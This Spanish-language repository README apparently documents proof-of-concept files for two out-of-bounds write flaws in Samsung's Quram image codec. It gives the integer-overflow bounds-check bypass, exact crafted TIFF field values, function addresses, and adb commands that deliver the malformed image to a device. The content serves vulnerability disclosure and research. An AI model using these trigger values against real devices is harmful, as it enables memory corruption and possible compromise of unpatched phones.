
PoC de escritura fuera de límites en libimagecodec.quram.so de Samsung
Este repositorio contiene archivos conceptuales de prueba de concepto (PoC) que demuestran
vulnerabilidades de escritura fuera de límites (OOB) en la biblioteca de códec de imágenes Quramsoft
(libimagecodec.quram.so) utilizada en dispositivos Samsung Android.
| CVE | Formato | Tipo | Severidad | CVSS 4.0 | Parcheado en |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | Escritura fuera de límites (CWE-787) | Crítica | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | Escritura fuera de límites (CWE-787) | Alta | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soLa vulnerabilidad reside en la función de análisis de etiquetas IFD (Image File Directory)
WINKJ_ReadExifField (offset 0x13a0a8 en el binario de 64 bits). Esta función
procesa entradas IFD individuales de TIFF/EXIF, cada una de las cuales es una estructura de 12 bytes:
Offset Size Campo
------ ---- -----
0 2 ID de etiqueta
2 2 Tipo de datos (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Conteo (número de valores)
8 4 Valor / Offset de los datos
Cuando count * element_size > 4, el campo Valor de 4 bytes se trata como un offset de archivo
(que apunta a dónde se encuentran los datos reales). El código realiza entonces una comprobación de límites
en la dirección 0x13a258:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
La vulnerabilidad es un desbordamiento de enteros sin signo de 32 bits en la suma.
Si un atacante diseña value_offset y count * element_size de modo que su
suma se enrolle hasta un valor pequeño, la comprobación se supera aunque el acceso
real a memoria en base + value_offset esté fuera de los límites.
Ejemplo (tipo UNDEFINED, element_size = 1):
La suma de 32 bits 0x17FFF + 0xFFFF0001 = 0x10008000 se trunca a 0x8000,
que es igual a buffer_size. La comprobación se supera, pero el puntero de datos real
(base + 0x17FFF) se encuentra 0x7FFF bytes después del final del búfer asignado.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (asigna el búfer IFD)
└─> para cada entrada IFD:
└─> WINKJ_ReadExifField (analiza la entrada, lee los datos del valor)
└─> Switch sobre el tipo de datos (tabla de saltos en 0x13a15c)
├─ Tipo 0 (BYTE/ASCII/UNDEFINED): manejador en 0x13a15c
├─ Tipo 3/8 (SHORT/SSHORT): manejador en 0x13a1d0
├─ Tipo 4/9/11 (LONG/SLONG/FLOAT): manejador en 0x13a17c
└─ Tipo 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): manejador en 0x13a1ac
Cada manejador -> lee datos en offset -> comprobación de límites en 0x13a258
| Archivo | Descripción |
|---|---|
cve-2026-21045_tiff_oob_poc.py | Genera poc_crash.tif — TIFF malformado que desencadena escritura OOB mediante etiqueta ASCII con conteo/offset manipulados |
cve-2026-21048_dng_oob_poc.py | Genera poc_crash.dng — DNG malformado que desencadena escritura OOB mediante etiqueta UNDEFINED con conteo/offset manipulados |
# Generar PoC TIFF
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generar PoC DNG
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transferir al dispositivo y activar (p. ej., mediante Galería/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
En un dispositivo sin parchear (parche de seguridad < julio de 2026), abrir el archivo TIFF/DNG manipulado en Samsung Gallery (o cualquier aplicación que use el decodificador Quram) debería causar una corrupción de memoria heap que potencialmente puede conducir a:
En un dispositivo parcheado (SMR Jul-2026+), la imagen debería ser rechazada como inválida o procesada de forma segura. Un bloqueo en un dispositivo totalmente parcheado puede indicar un problema separado sin parchear.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
Extraída de WINKJ_ReadExifField:
Todos los tipos con element_size = 1 (BYTE, ASCII, UNDEFINED) comparten el mismo manejador
y son igualmente vulnerables al bypass por desbordamiento de enteros.
Estas pruebas de concepto se proporcionan únicamente con fines educativos y de investigación en seguridad. Demuestran el mecanismo de la vulnerabilidad para ayudar a usuarios y desarrolladores a comprender el riesgo. No las utilice contra sistemas que no posea o para los cuales no tenga permiso explícito de prueba.
| Campo | Valor (hex) | Decimal |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (¡desbordamiento!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
Resultado de la comprobación: 0x8000 <= 0x8000 | ✅ PASA | — |
Acceso real a memoria: base + 0x17FFF | 0x7FFF bytes más allá del búfer | ❌ OOB |
| Función | Dirección (64 bits) | Tamaño | Propósito |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | Analiza una entrada IFD individual (vulnerable) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | Lee todas las entradas IFD |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | Analizador de información TIFF de alto nivel |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | Punto de entrada principal del análisis TIFF |
decodeTIFF | 0x1a2adc | 580 | Decodifica la imagen TIFF mediante libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | Obtiene los metadatos de la imagen TIFF |
copySubImageBuffer | 0x0b2824 | 324 | Copia la región de subimagen |
TIFFReadDirectory | 0x1aac78 | 5896 | Lector de directorios de libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | Comprobación segura de multiplicación de 32 bits |
_TIFFMultiply64 | 0x1a2f58 | 48 | Comprobación segura de multiplicación de 64 bits |
| Tipo | Nombre | Tamaño de elemento | Dirección del manejador |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | Descripción | Estado |
|---|
| CVE-2025-58477 | Escritura OOB en el análisis de etiquetas IFD en libimagecodec.quram.so (SMR Dec-2025) | ✅ Parcheado |
| CVE-2026-20973 | Lectura OOB en libimagecodec.quram.so (SMR Jan-2026) | ✅ Parcheado |
| CVE-2026-21045 | Escritura OOB en el análisis TIFF en libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Sin parchear para mí |
| CVE-2026-21048 | Escritura OOB en el análisis DNG en libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ Sin parchear para mí |
| CVE-2026-4775 | Desbordamiento de enteros con signo en libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ Sin parchear para mí |
| CVE-2024-7006 | Desreferencia NULL en libtiff tif_dirinfo.c | ✅ Corregido en 4.6.1 |